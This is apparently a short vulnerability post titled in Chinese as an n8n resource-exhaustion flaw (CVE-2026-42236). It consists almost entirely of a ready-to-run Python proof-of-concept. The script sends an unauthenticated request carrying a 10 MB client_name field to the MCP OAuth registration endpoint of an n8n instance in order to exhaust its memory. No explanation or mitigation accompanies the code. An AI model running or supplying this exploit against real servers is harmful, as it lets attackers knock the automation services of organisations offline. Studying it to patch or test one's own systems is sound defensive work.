CVE-2026-42236 n8n资源耗尽漏洞

import requests # Target n8n instance MCP OAuth registration endpoint # The vulnerability allows unauthenticated requests to exhaust memory target_url = "http://<target-host>:5678/mcp/oauth/register" # Craft a large payload to trigger memory exhaustion # Sending a huge string in the client_name field malicious_payload = { "client_name": "A" * 10000000, # 10 MB of data "redirect_uris": ["http://localhost/callback"], "grant_types": ["authorization_code"] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending attack payload to {target_url}...") response = requests.post(target_url, json=malicious_payload, headers=headers, timeout=30) print(f"Response Status Code: {response.status_code}") if response.status_code == 200 or response.status_code == 201: print("Payload accepted. Server memory may be exhausted.") else: print("Request completed.") except Exception as e: print(f"An error occurred (possible DoS success): {e}")